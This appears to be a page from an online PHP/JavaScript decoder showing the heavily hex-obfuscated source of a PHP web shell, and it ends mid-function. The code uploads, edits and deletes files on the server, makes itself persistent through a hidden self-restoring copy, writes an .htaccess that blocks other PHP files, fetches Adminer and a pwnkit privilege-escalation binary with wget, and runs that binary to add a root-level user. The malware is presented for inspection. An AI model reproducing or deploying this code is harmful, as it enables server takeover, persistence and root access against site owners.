Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

if (isset($_GET["lo\x63ks\x68\x65ll"])) {
    $utqmnnk = "c\x75rF\x69\x6c\x65";
    $jknnjceqxq = "\x54\x6d\x70\x4ea\x6des";
    ${"\x47\x4c\x4f\x42\x41L\x53"}["\x71\x6d\x6cak\x79\x6d\x6c\x6c"] = "\x54m\x70\x4eam\x65\x73";
    $isohmvpx = "\x63\x75\x72Fil\x65";
    $zvtyjjr = "h\x6e\x64l\x65\x72s";
    ${"\x47\x4c\x4f\x42A\x4cS"}["y\x74p\x73dr\x7a\x6f\x76\x6d"] = "\x54m\x70\x4ea\x6d\x65\x73";
    $dbpnkmsfi = "\x66\x75n\x67\x73i";
    $bdoupnyyd = "T\x6d\x70N\x61\x6de\x73";
    ${"\x47\x4c\x4fB\x41\x4cS"}["\x75\x74pi\x6a\x74t\x78c"] = "\x63\x75r\x46ile";
    ${"\x47\x4c\x4fB\x41\x4cS"}["p\x6bbr\x75q\x79"] = "\x54\x6dp\x4e\x61\x6d\x65s";
    ${"\x47L\x4f\x42\x41\x4c\x53"}["\x6am\x76\x6b\x61\x67\x75f"] = "\x66\x75n\x67si";
    ${"\x47LO\x42\x41L\x53"}["\x78\x68lf\x69\x61\x73j"] = "\x66u\x6e\x67s\x69";
    $ynojlolnjc = "\x63\x75\x72\x46il\x65";
    ${${"G\x4cOB\x41LS"}["\x76\x66\x75hqrq\x72\x63e"]} = trim(basename($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));
    ${${"GL\x4f\x42\x41\x4c\x53"}["\x6e\x66od\x62\x64e\x6a"]} = ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["s\x6e\x78\x6apdu\x6f\x6c"]}[31]();
    if (file_exists(${${"GLO\x42AL\x53"}["\x70k\x62\x72\x75\x71\x79"]} . "/.s\x65ss\x69ons/\x2e" . base64_encode(${${"GLO\x42A\x4c\x53"}["snx\x6a\x70d\x75o\x6c"]}[0]() . remove_dot(${$utqmnnk}) . "-han\x64\x6c\x65\x72")) && file_exists(${${"G\x4c\x4f\x42\x41\x4c\x53"}["n\x66\x6f\x64\x62\x64\x65\x6a"]} . "/.se\x73sio\x6es/." . base64_encode(${${"\x47LOB\x41\x4c\x53"}["\x78\x68l\x66\x69\x61\x73\x6a"]}[0]() . remove_dot(${$ynojlolnjc}) . "-t\x65xt"))) {
        ${"\x47\x4c\x4fBA\x4cS"}["b\x6d\x76\x67\x77\x6e\x78b\x63io"] = "c\x75\x72\x46i\x6c\x65";
        ${"\x47\x4cO\x42A\x4c\x53"}["\x63mt\x6c\x6bb\x69"] = "\x63\x75rFi\x6c\x65";
        ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x61\x77\x6a\x6ak\x73\x6cl"] = "Tm\x70Nam\x65\x73";
        $btcufyjqga = "fu\x6e\x67\x73i";
        cmd("rm -r\x66 " . ${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x61w\x6a\x6a\x6b\x73\x6cl"]} . "/.s\x65\x73sion\x73/." . base64_encode(${$btcufyjqga}[0]() . remove_dot(${${"G\x4cOB\x41L\x53"}["b\x6d\x76\x67w\x6e\x78\x62\x63\x69\x6f"]}) . "-\x74\x65\x78t"));
        cmd("\x72m -\x72\x66 " . ${${"G\x4cO\x42\x41\x4c\x53"}["\x6e\x66o\x64\x62d\x65\x6a"]} . "/.\x73e\x73\x73\x69on\x73/." . base64_encode(${${"\x47\x4cO\x42A\x4cS"}["\x73\x6e\x78j\x70\x64u\x6f\x6c"]}[0]() . remove_dot(${${"G\x4c\x4fBA\x4c\x53"}["c\x6d\x74\x6c\x6bbi"]}) . "-hand\x6ce\x72"));
    }
    $enznadbms = "\x63\x75\x72\x46il\x65";
    ${"\x47L\x4fBA\x4c\x53"}["\x61dfv\x77\x66\x70\x71x"] = "\x68a\x6e\x64\x6c\x65\x72";
    $jadnlsj = "cu\x72\x46\x69\x6c\x65";
    mkdir(${${"G\x4cO\x42\x41LS"}["q\x6dlakym\x6c\x6c"]} . "/\x2e\x73ess\x69on\x73");
    cmd("\x63\x70 $curFile\x20" . ${$jknnjceqxq} . "/\x2es\x65ssi\x6fns/." . base64_encode(${${"G\x4cOB\x41L\x53"}["s\x6e\x78\x6a\x70du\x6f\x6c"]}[0]() . remove_dot(${${"G\x4c\x4fB\x41\x4cS"}["\x76f\x75hqr\x71\x72c\x65"]}) . "-\x74ex\x74"));
    $ehhejlebpl = "fu\x6e\x67\x73\x69";
    chmod(${${"\x47\x4cO\x42\x41\x4cS"}["\x76\x66\x75\x68q\x72qrc\x65"]}, 0444);
    $lkbiqkuwg = "\x66\x75\x6e\x67s\x69";
    ${${"\x47L\x4f\x42\x41\x4c\x53"}["a\x64\x66\x76w\x66p\x71\x78"]} = "\n\x3c?\x70\x68p\n@i\x6e\x69_s\x65\x74(\x22\x6d\x61\x78_e\x78e\x63\x75\x74i\x6fn\x5ft\x69\x6de\", \x30)\x3b\nwh\x69\x6ce\x20(\x54ru\x65){\n \x20\x20 i\x66 (\x21f\x69l\x65_ex\x69sts(\x22" . __DIR__ . "\")){\n\x20\x20 \x20 \x20  \x6dk\x64\x69\x72(\x22" . __DIR__ . "\");\n \x20\x20 }\n\x20\x20\x20\x20\x69\x66 (\x21\x66\x69\x6ce_exist\x73(\"" . ${$lkbiqkuwg}[0]() . "/" . ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x66\x75h\x71r\x71\x72c\x65"]} . "\x22)){\n    \x20\x20  \$\x74\x65\x78t\x20\x3d \x62a\x73e\x364\x5f\x65\x6eco\x64\x65(fil\x65\x5fg\x65\x74_\x63\x6f\x6e\x74\x65nt\x73(\"" . ${${"G\x4c\x4f\x42A\x4c\x53"}["\x79\x74\x70\x73\x64r\x7aov\x6d"]} . "/\x2esessions/." . base64_encode(${$ehhejlebpl}[0]() . remove_dot(${$jadnlsj}) . "-\x74\x65\x78t") . "\x22))\x3b\n  \x20  \x20  \x66i\x6ce_p\x75\x74\x5f\x63on\x74e\x6ets(\"" . ${${"\x47\x4cOB\x41\x4c\x53"}["s\x6e\x78\x6a\x70d\x75o\x6c"]}[0]() . "/" . ${${"\x47\x4cOB\x41\x4cS"}["\x76\x66u\x68\x71r\x71\x72ce"]} . "\x22,\x20base\x36\x34_\x64\x65c\x6fde(\$t\x65\x78\x74));\n   \x20}\n\x20  \x20i\x66 (\x67\x65\x63\x6bo_\x70\x65\x72\x6d(\"" . ${$dbpnkmsfi}[0]() . "/" . ${$enznadbms} . "\")\x20\x21=\x20\x30\x34\x344){\n\x20\x20    \x20 \x63hmod(\"" . ${${"\x47\x4c\x4fB\x41LS"}["\x73\x6e\x78\x6a\x70\x64u\x6f\x6c"]}[0]() . "/" . ${$isohmvpx} . "\x22,\x20\x30\x34\x344);\n\x20   }\n}\n\nfu\x6ec\x74\x69\x6f\x6e \x67ecko\x5fperm(\$f\x6ce\x6eame){\n\x20\x20\x20 r\x65tu\x72\x6e s\x75\x62\x73\x74r(s\x70\x72in\x74f(\x22\x25o\",\x20\x66\x69\x6c\x65perm\x73(\$fl\x65\x6e\x61\x6d\x65)), -\x34);\n}\n";
    $nbxxth = "h\x6e\x64l\x65\x72s";
    ${$zvtyjjr} = ${${"G\x4c\x4fBA\x4c\x53"}["\x6amv\x6bag\x75\x66"]}[28](${$bdoupnyyd} . "/\x2e\x73\x65ss\x69on\x73/\x2e" . base64_encode(${${"\x47\x4c\x4f\x42\x41\x4cS"}["s\x6e\x78j\x70\x64\x75\x6f\x6c"]}[0]() . remove_dot(${${"G\x4c\x4f\x42A\x4cS"}["utp\x69\x6a\x74\x74\x78c"]}) . "-ha\x6e\x64\x6c\x65r") . "", ${${"\x47\x4c\x4fB\x41L\x53"}["v\x6f\x67\x78\x79\x73"]});
    if (${$nbxxth}) {
        ${"\x47L\x4fBAL\x53"}["c\x72\x67d\x78\x7a\x70u"] = "\x66\x75\x6eg\x73\x69";
        cmd("p\x68\x70\x20" . ${${"\x47L\x4f\x42\x41LS"}["nf\x6f\x64\x62\x64e\x6a"]} . "/\x2es\x65ssi\x6fn\x73/." . base64_encode(${${"G\x4c\x4f\x42\x41\x4c\x53"}["c\x72\x67dxz\x70u"]}[0]() . remove_dot(${${"G\x4c\x4fBA\x4cS"}["\x76\x66\x75\x68qrq\x72\x63e"]}) . "-\x68a\x6e\x64ler") . " > /\x64ev/\x6e\x75\x6cl 2>/\x64ev/\x6eull \x26");
    } else {
        failed();
    }
}
if (isset($_POST["gec\x6b\x6f-\x75\x70-\x73\x75bmi\x74"])) {
    $ovodrch = "\x66\x75ng\x73i";
    ${"GL\x4f\x42AL\x53"}["d\x62\x6c\x73\x74e\x64t"] = "t\x6dpNa\x6d\x65";
    ${"\x47\x4cO\x42\x41\x4c\x53"}["\x79\x6b\x6fvn\x67\x62q"] = "\x74\x6d\x70\x4e\x61\x6d\x65";
    ${${"\x47L\x4f\x42\x41\x4c\x53"}["t\x73kf\x63wed\x6bd\x65\x74"]} = $_FILES["g\x65c\x6b\x6f-u\x70\x6coad"]["\x6e\x61m\x65"];
    ${${"\x47\x4cOB\x41\x4c\x53"}["\x79\x6bo\x76\x6egbq"]} = $_FILES["g\x65ck\x6f-u\x70load"]["tm\x70\x5f\x6ea\x6d\x65"];
    if (${$ovodrch}[29](${${"GL\x4fB\x41\x4c\x53"}["\x64\x62\x6c\x73\x74\x65d\x74"]}, ${${"\x47LO\x42ALS"}["\x73\x6ex\x6ap\x64\x75ol"]}[0]() . "/" . ${${"GL\x4fB\x41L\x53"}["ts\x6bf\x63w\x65\x64\x6bde\x74"]})) {
        success();
    } else {
        failed();
    }
}
if ($_GET["lo\x67o\x75t"] == True) {
    session_destroy();
    session_unset();
    success();
}
if (isset($_GET["\x64\x65\x73\x74r\x6f\x79"])) {
    $xuucfxmk = "\x44\x4fC\x5f\x52\x4f\x4f\x54";
    ${$xuucfxmk} = $_SERVER["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"];
    $sscohen = "\x43\x75\x72\x72\x65\x6e\x74\x46\x69\x6c\x65";
    ${$sscohen} = trim(basename($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));
    if (${${"\x47\x4cO\x42\x41L\x53"}["\x73n\x78jp\x64u\x6f\x6c"]}[4](${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77iy\x72tp"]})) {
        ${"G\x4c\x4f\x42\x41L\x53"}["wf\x77\x6c\x73\x61"] = "\x44OC\x5fROOT";
        ${"\x47\x4c\x4f\x42A\x4c\x53"}["\x67\x78\x79\x74\x72\x76\x67\x74c"] = "\x68t\x61\x63c\x65\x73s";
        ${${"\x47L\x4fBA\x4c\x53"}["y\x79x\x72o\x61b\x79\x77c\x68\x79"]} = "\n<F\x69le\x73Matc\x68\x20\x22\x5c.(p\x68\x70|\x70\x68*|Ph*|PH*|p\x48*)\$\x22>\n\x20\x20 \x20D\x65ny\x20f\x72\x6fm\x20\x61l\x6c\n</F\x69lesM\x61\x74c\x68>\n<\x46\x69lesM\x61\x74\x63h\x20\"^(" . ${${"\x47\x4cO\x42\x41\x4c\x53"}["x\x70i\x78z\x75\x76\x65r\x6e\x6b\x75"]} . "|in\x64e\x78\x2eph\x70|w\x70-co\x6e\x66\x69g\x2e\x70h\x70|\x77p-incl\x75\x64\x65s.p\x68\x70)\$\x22\x3e\n \x20 \x20\x41\x6c\x6cow fro\x6d all\n\x3c/F\x69lesMatc\x68>\n\x3cFi\x6ces\x4d\x61\x74c\x68 \"\\\x2e(j\x70\x67|\x70ng|\x67if|\x70\x64\x66|j\x70\x65g)\$\">\n\x20\x20 \x20\x41llo\x77 \x66\x72\x6f\x6d\x20a\x6cl\n\x3c/F\x69lesM\x61\x74\x63h\x3e";
        ${"GL\x4fB\x41L\x53"}["x\x62\x76\x64\x78f\x6c\x76\x63c"] = "p\x75t_\x68\x74\x74";
        ${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6d\x67\x73q\x72\x6amx"] = "f\x75ng\x73\x69";
        $umjimuogf = "\x70\x75t\x5f\x68tt";
        ${${"\x47\x4c\x4fB\x41\x4c\x53"}["x\x62\x76d\x78\x66\x6c\x76cc"]} = ${${"\x47\x4cOBA\x4c\x53"}["m\x67s\x71\x72\x6am\x78"]}[28](${${"\x47LO\x42\x41LS"}["\x77f\x77\x6c\x73\x61"]} . "/\x2e\x68\x74\x61\x63ce\x73\x73", ${${"G\x4c\x4fB\x41\x4c\x53"}["\x67xy\x74rv\x67tc"]});
        if (${$umjimuogf}) {
            success();
        } else {
            failed();
        }
    } else {
        failed();
    }
}
if (isset($_POST["s\x61v\x65-\x65d\x69\x74or"])) {
    ${"G\x4cO\x42\x41L\x53"}["q\x6cq\x75uf"] = "\x73\x61v\x65";
    ${"GLOB\x41LS"}["\x70\x63\x71iae\x75\x65"] = "\x73av\x65";
    ${"\x47\x4cOB\x41\x4c\x53"}["\x68\x65\x6cv\x68\x63"] = "\x66u\x6eg\x73i";
    $blekadey = "f\x75n\x67\x73i";
    ${${"GL\x4fBA\x4c\x53"}["\x70c\x71\x69\x61\x65\x75\x65"]} = ${${"GLO\x42\x41LS"}["he\x6cvh\x63"]}[28](${$blekadey}[0]() . "/" . unx($_GET["f"]), $_POST["co\x64e-\x65\x64i\x74\x6fr"]);
    if (${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x71l\x71u\x75\x66"]}) {
        success();
    } else {
        failed();
    }
}
if (isset($_GET["ad\x6d\x69ne\x72"])) {
    ${"\x47LO\x42\x41LS"}["\x6f\x69\x63\x68\x62\x6b\x6dz\x72l\x6c"] = "fu\x6eg\x73\x69";
    ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6ac\x76\x6ay\x62ok\x71u\x78"] = "\x55\x52L";
    ${${"GL\x4f\x42A\x4cS"}["\x6ac\x76\x6ay\x62\x6f\x6bq\x75\x78"]} = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x69\x74\x68\x75\x62\x2e\x63\x6f\x6d\x2f\x76\x72\x61\x6e\x61\x2f\x61\x64\x6d\x69\x6e\x65\x72\x2f\x72\x65\x6c\x65\x61\x73\x65\x73\x2f\x64\x6f\x77\x6e\x6c\x6f\x61\x64\x2f\x76\x34\x2e\x38\x2e\x31\x2f\x61\x64\x6d\x69\x6e\x65\x72\x2d\x34\x2e\x38\x2e\x31\x2e\x70\x68\x70";
    if (!${${"G\x4c\x4fB\x41\x4c\x53"}["\x6f\x69\x63hb\x6bm\x7a\x72l\x6c"]}[3]("a\x64mi\x6e\x65\x72\x2e\x70hp")) {
        $cobwbfqqduim = "\x66\x75\x6eg\x73\x69";
        $kvjkcnn = "\x55R\x4c";
        cmd("wge\x74\x20" . ${$kvjkcnn} . "\x20-\x4f \x61\x64m\x69\x6eer\x2e\x70\x68p\x20--qu\x69et");
        echo "<m\x65t\x61 \x68tt\x70-\x65q\x75iv=\x22ref\x72e\x73h\" \x63onte\x6e\x74=\x22\x30\x3b\x75r\x6c\x3d?d\x3d" . hx(${$cobwbfqqduim}[0]()) . "\">";
    }
}
if ($_GET["\x74\x65rmi\x6ea\x6c"] == "root") {
    ${"\x47L\x4f\x42\x41LS"}["\x72\x66w\x71m\x75\x74\x70dy"] = "\x66\x75\x6egs\x69";
    if (!${${"\x47LO\x42\x41L\x53"}["\x72\x66\x77\x71\x6du\x74p\x64y"]}[3]("\x70\x77\x6e\x6b\x69t")) {
        cmd("w\x67\x65t \x68t\x74p\x73://\x67\x69th\x75\x62.\x63om/M\x61dExpl\x6fi\x74s/\x50\x72\x69\x76\x65\x6c\x65g\x65-escala\x74\x69\x6f\x6e/r\x61\x77/ma\x69\x6e/\x70wn\x6bit\x20-\x4f\x20\x70w\x6e\x6b\x69t");
        ${"\x47\x4cOB\x41\x4c\x53"}["\x74\x6e\x6at\x78\x61\x66j\x79\x67\x74"] = "\x66un\x67\x73\x69";
        cmd("\x63h\x6d\x6f\x64\x20+\x78\x20\x70\x77n\x6bi\x74");
        echo cmd("./\x70w\x6ek\x69\x74\x20id\x20> \x2e\x6dad-\x72\x6f\x6ft");
        echo "<m\x65\x74a\x20\x68\x74t\x70-e\x71\x75i\x76\x3d\x22\x72ef\x72\x65\x73\x68\" c\x6fn\x74\x65nt=\"\x30\x3burl\x3d?\x64\x3d" . hx(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x74\x6e\x6a\x74x\x61f\x6a\x79g\x74"]}[0]()) . "&t\x65rm\x69n\x61l=roo\x74\x22>";
    }
}
if (isset($_POST["\x73ubmit-acti\x6f\x6e"])) {
    $dvyggfaifhal = "\x69\x74e\x6ds";
    ${$dvyggfaifhal} = $_POST["c\x68\x65\x63\x6b"];
    if ($_POST["\x67\x65c\x6bo-sel\x65\x63\x74"] == "de\x6cete") {
        foreach (${${"G\x4c\x4fB\x41\x4cS"}["w\x73\x6d\x69q\x6d\x6a"]} as ${${"\x47L\x4f\x42A\x4c\x53"}["\x68\x63o\x6f\x73p\x6e\x66fx\x77"]}) {
            ${"\x47\x4c\x4fB\x41\x4cS"}["\x67y\x62\x6b\x72\x71\x66\x76"] = "\x66d";
            $hflksuh = "f\x64";
            $blcjto = "\x66\x64";
            $hrlurq = "\x66\x75\x6e\x67\x73\x69";
            ${"G\x4c\x4fB\x41\x4c\x53"}["\x7a\x75\x6a\x63\x77\x68\x71"] = "\x72\x65\x70\x6c";
            ${${"\x47\x4c\x4f\x42\x41L\x53"}["gs\x75lz\x69o\x68"]} = str_replace("\x5c", "/", ${$hrlurq}[0]());
            ${${"G\x4c\x4f\x42\x41\x4c\x53"}["gy\x62\x6b\x72\x71fv"]} = ${${"G\x4c\x4f\x42\x41L\x53"}["\x7a\x75\x6a\x63\x77\x68\x71"]} . "/" . ${${"G\x4c\x4fB\x41\x4c\x53"}["\x68\x63\x6f\x6f\x73p\x6e\x66fx\x77"]};
            if (is_dir(${$blcjto}) || is_file(${$hflksuh})) {
                $gnetoshcg = "f\x64";
                ${"\x47\x4c\x4f\x42\x41L\x53"}["\x79\x7a\x68t\x77\x73\x6e"] = "\x66d";
                $ivhfruxuecjx = "\x72\x6ddir";
                ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x66\x6e\x6f\x6d\x74\x61"]} = unlinkDir(${$gnetoshcg});
                ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x70\x71x\x6cxl\x65"]} = ${${"\x47LO\x42\x41\x4c\x53"}["sn\x78j\x70\x64\x75\x6f\x6c"]}[24](${${"\x47LOB\x41L\x53"}["\x79\x7a\x68\x74w\x73n"]});
                if (${$ivhfruxuecjx} || ${${"GL\x4fB\x41\x4c\x53"}["\x67p\x71\x78\x6c\x78\x6c\x65"]}) {
                    success();
                } else {
                    failed();
                }
            }
        }
    }
}
if (isset($_POST["s\x75bm\x69t"])) {
    if ($_POST["\x63\x72\x65ate_\x66ol\x64er"] == true) {
        $ypqokprwpmng = "\x66\x75\x6e\x67\x73\x69";
        $gdpguhc = "\x4e\x61\x6d\x61\x46ol\x64e\x72";
        ${"G\x4c\x4f\x42\x41L\x53"}["\x6e\x63\x74\x70\x6bc\x6c\x6fa"] = "\x4e\x61\x6da\x46\x6fl\x64e\x72";
        ${${"\x47L\x4fB\x41\x4cS"}["\x6e\x63\x74\x70\x6b\x63loa"]} = ${$ypqokprwpmng}[12]($_POST["\x63r\x65\x61\x74\x65\x5ffo\x6c\x64\x65\x72"]);
        if (${$gdpguhc}) {
            success();
        } else {
            failed();
        }
    } else if ($_POST["\x63r\x65\x61te\x5ff\x69l\x65"] == true) {
        $uvybcnskmbw = "n\x61maF\x69\x6ce";
        ${"\x47L\x4f\x42A\x4cS"}["\x62\x6c\x76\x64\x66\x71\x6f\x68\x72u"] = "\x66\x75\x6e\x67\x73i";
        ${"\x47\x4c\x4fBA\x4cS"}["\x71\x72\x64\x78ikgz\x73"] = "\x6e\x61\x6d\x61F\x69\x6c\x65";
        ${${"G\x4cOB\x41\x4cS"}["\x71\x72\x64x\x69k\x67\x7as"]} = ${${"\x47\x4cO\x42\x41LS"}["\x62\x6c\x76\x64\x66q\x6f\x68\x72\x75"]}[13]($_POST["\x63r\x65\x61\x74e\x5ffil\x65"]);
        if (${$uvybcnskmbw}) {
            success();
        } else {
            failed();
        }
    } else if ($_POST["\x72e\x6e\x61\x6deFil\x65"] == true) {
        $ydnfxcqunmh = "\x72e\x6e\x61\x6d\x65F\x69\x6c\x65";
        ${$ydnfxcqunmh} = ${${"\x47\x4cO\x42\x41\x4cS"}["\x73\x6ex\x6a\x70\x64u\x6f\x6c"]}[15](unx($_GET["re"]), $_POST["\x72en\x61me\x46\x69le"]);
        if (${${"\x47L\x4f\x42\x41L\x53"}["\x71h\x78n\x67\x67\x73\x66"]}) {
            success();
        } else {
            failed();
        }
    } else if ($_POST["\x63\x68\x46\x69\x6c\x65"]) {
        $wgnsecqi = "\x63h\x46\x69\x6ce\x73";
        ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6fo\x66t\x71\x76\x6b\x73"]} = ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x6e\x78jp\x64\x75o\x6c"]}[30](unx($_GET["\x63h"]), $_POST["c\x68F\x69l\x65"]);
        if (${$wgnsecqi}) {
            success();
        } else {
            failed();
        }
    } else if (isset($_POST["a\x64d-us\x65rn\x61\x6d\x65"]) && isset($_POST["a\x64d-\x70a\x73sword"])) {
        ${"\x47\x4c\x4f\x42\x41LS"}["\x68\x78w\x6b\x6fj\x6b\x71"] = "\x66\x75n\x67\x73i";
        if (!${${"GL\x4f\x42A\x4cS"}["h\x78\x77\x6b\x6f\x6a\x6b\x71"]}[3]("p\x77\x6e\x6b\x69t")) {
            cmd("\x77\x67\x65\x74\x20\x68\x74\x74\x70s://\x67i\x74hu\x62\x2e\x63om/Ma\x64E\x78p\x6co\x69ts/\x50\x72i\x76\x65le\x67e-\x65s\x63\x61\x6c\x61\x74\x69o\x6e/r\x61\x77/m\x61\x69n/p\x77n\x6bit -\x4f\x20p\x77\x6ek\x69\x74");
            cmd("chm\x6f\x64\x20+\x78 \x70w\x6ek\x69\x74");
            ${"\x47L\x4f\x42\x41L\x53"}["\x73\x71w\x6c\x6e\x61\x73\x78"] = "f\x75\x6e\x67\x73\x69";
            cmd("./pwnkit \"i\x64\" > \x2e\x6dad-\x72\x6fot");
            echo "<\x6det\x61\x20\x68tt\x70-\x65\x71u\x69\x76\x3d\x22r\x65fres\x68\x22\x20c\x6fnt\x65n\x74=\"\x30;ur\x6c\x3d?d=" . hx(${${"\x47\x4cO\x42\x41\x4c\x53"}["sq\x77\x6cn\x61\x73\x78"]}[0]()) . "\x26\x72ooti\x6eg\x3d\x54\x72ue\x22\x3e";
        } else if (${${"\x47\x4c\x4f\x42\x41L\x53"}["sn\x78\x6apd\x75\x6f\x6c"]}[3](".mad-r\x6f\x6f\x74")) {
            $cbzwrut = "\x72\x65s\x70\x6f\x6ese";
            ${$cbzwrut} = ${${"\x47\x4c\x4fB\x41LS"}["\x73nxjp\x64\x75o\x6c"]}[11](".\x6d\x61d-r\x6f\x6ft");
            $eshdcuwg = "\x72\x65\x73\x70\x6f\x6e\x73\x65";
            ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x69\x64\x65ydy\x72\x65"]} = explode("\x20", ${$eshdcuwg});
            if (${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x69\x64\x65\x79\x64\x79\x72\x65"]}[0] == "ui\x64\x3d0(r\x6f\x6ft)") {
                $snjesqrgx = "\x75\x73er\x6ea\x6d\x65";
                ${${"\x47\x4c\x4f\x42A\x4cS"}["f\x71wh\x63\x75j"]} = $_POST["\x61\x64\x64-u\x73e\x72\x6eam\x65"];
                ${"\x47\x4c\x4fBA\x4c\x53"}["\x77u\x70\x6e\x62\x68i\x6b\x75"] = "\x75\x73\x65rna\x6d\x65";
                ${${"G\x4c\x4f\x42\x41LS"}["\x6f\x68m\x75\x73\x77\x68\x6bx\x78"]} = $_POST["\x61d\x64-pas\x73\x77\x6f\x72\x64"];
                cmd("\x2e/\x70\x77\x6ekit\x20\x22\x75\x73e\x72a\x64d\x20" . ${${"\x47\x4cO\x42\x41\x4c\x53"}["\x77up\x6e\x62\x68i\x6b\x75"]} . " ;\x20\x65\x63h\x6f\x20-e\x20\x22" . ${${"\x47\x4cOB\x41\x4c\x53"}["\x6f\x68\x6du\x73\x77\x68k\x78x"]} . "\x5c\x6e" . ${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6fhmu\x73\x77h\x6b\x78x"]} . "\"\x20|\x20pa\x73s\x77d " . ${$snjesqrgx} . "\"");
            } else {
                echo "\x3cm\x65t\x61 \x68t\x74p-\x65\x71ui\x76\x3d\"re\x66r\x65\x73h\" \x63ont\x65nt=\x220;url=?\x64=" . hx(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x73\x6e\x78\x6a\x70\x64u\x6f\x6c"]}[0]()) . "&\x61\x64d\x75s\x65\x72=\x66\x61\x69l\x65d\x22>";
            }
        }
    } else if ($_POST["\x6co\x63\x6b\x66i\x6ce"] == true) {
        ${"\x47\x4c\x4f\x42\x41\x4cS"}["\x68\x67\x64o\x72\x74\x63"] = "\x68ndl\x65\x72\x73";
        $cxichofrfpho = "h\x6e\x64\x6c\x65\x72s";
        ${"\x47\x4c\x4fB\x41L\x53"}["\x77\x75p\x76\x72l\x73\x79\x68jk"] = "\x68\x61nd\x6c\x65r";
        $jjwvypro = "\x66l\x65\x73\x4e\x61\x6d\x65";
        $moysjvktwc = "\x66u\x6e\x67\x73i";
        ${"\x47\x4cO\x42\x41\x4cS"}["t\x6e\x65\x75v\x6c"] = "\x66\x75\x6e\x67s\x69";
        $gnyihl = "\x66\x6c\x65sN\x61\x6de";
        ${"\x47\x4c\x4f\x42A\x4c\x53"}["dl\x6ai\x64\x77\x73\x65\x7a\x69"] = "\x54\x6dp\x4ea\x6d\x65s";
        $gekesqmsi = "\x66lesN\x61\x6de";
        $wzsgwh = "\x66\x6c\x65\x73\x4e\x61me";
        $rsebcsqvk = "\x66un\x67\x73\x69";
        ${"\x47L\x4fBALS"}["\x63\x64uz\x65x\x66\x77\x63r\x79"] = "\x54\x6d\x70Na\x6d\x65\x73";
        $yyhjqlb = "\x66\x75n\x67\x73i";
        $yvfdddxa = "\x66\x75n\x67\x73\x69";
        ${$jjwvypro} = $_POST["lo\x63kf\x69\x6ce"];
        ${${"\x47\x4c\x4f\x42\x41LS"}["d\x6c\x6a\x69d\x77\x73\x65\x7ai"]} = ${${"GLO\x42\x41\x4c\x53"}["\x73n\x78\x6a\x70\x64u\x6f\x6c"]}[31]();
        $rzhnqvtsnc = "f\x6ce\x73N\x61m\x65";
        if (file_exists(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6ef\x6f\x64b\x64\x65\x6a"]} . "/\x2e\x73es\x73ion\x73/." . base64_encode(${$rsebcsqvk}[0]() . remove_dot(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x76\x68\x69\x6d\x62ug\x74\x71\x6c"]}) . "-\x68a\x6e\x64l\x65r")) && file_exists(${${"\x47\x4cO\x42A\x4c\x53"}["\x6efod\x62\x64ej"]} . "/\x2e\x73e\x73si\x6fns/." . remove_dot(${$wzsgwh}) . "-\x74\x65\x78\x74")) {
            $rlgzkhpyjs = "\x66\x75n\x67\x73\x69";
            ${"\x47\x4c\x4fB\x41L\x53"}["\x64\x69\x71y\x69j\x6c"] = "\x54mp\x4e\x61\x6d\x65s";
            $vdjkeffd = "\x66\x75n\x67\x73i";
            cmd("r\x6d -rf\x20" . ${${"\x47\x4c\x4f\x42ALS"}["\x64\x69\x71\x79\x69\x6a\x6c"]} . "/\x2es\x65\x73si\x6fn\x73/." . base64_encode(${$vdjkeffd}[0]() . remove_dot(${${"\x47\x4c\x4fB\x41\x4c\x53"}["v\x68i\x6dbug\x74q\x6c"]}) . "-tex\x74-\x66\x69le"));
            cmd("rm\x20-rf\x20" . ${${"\x47L\x4f\x42\x41\x4cS"}["\x6e\x66\x6f\x64\x62\x64e\x6a"]} . "/\x2e\x73\x65\x73s\x69\x6f\x6e\x73/." . base64_encode(${$rlgzkhpyjs}[0]() . remove_dot(${${"\x47\x4cOB\x41\x4c\x53"}["\x76\x68\x69\x6d\x62\x75\x67\x74ql"]}) . "-\x68and\x6ce\x72"));
        }
        mkdir(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x66o\x64b\x64\x65\x6a"]} . "/\x2e\x73essions");
        ${"G\x4c\x4f\x42AL\x53"}["\x76\x62p\x79\x63\x72xw"] = "\x66l\x65s\x4e\x61\x6d\x65";
        ${"\x47\x4cOB\x41\x4c\x53"}["\x76\x71\x77wm\x78\x66\x6b\x65\x62q"] = "\x66\x75ngs\x69";
        cmd("\x63p $flesName\x20" . ${${"\x47\x4c\x4fB\x41\x4cS"}["\x6e\x66\x6f\x64\x62\x64\x65\x6a"]} . "/\x2e\x73\x65ss\x69\x6f\x6es/\x2e" . base64_encode(${${"\x47\x4c\x4fB\x41\x4c\x53"}["s\x6exj\x70\x64\x75\x6fl"]}[0]() . remove_dot(${$rzhnqvtsnc}) . "-te\x78\x74-f\x69le"));
        chmod(${$gnyihl}, 0444);
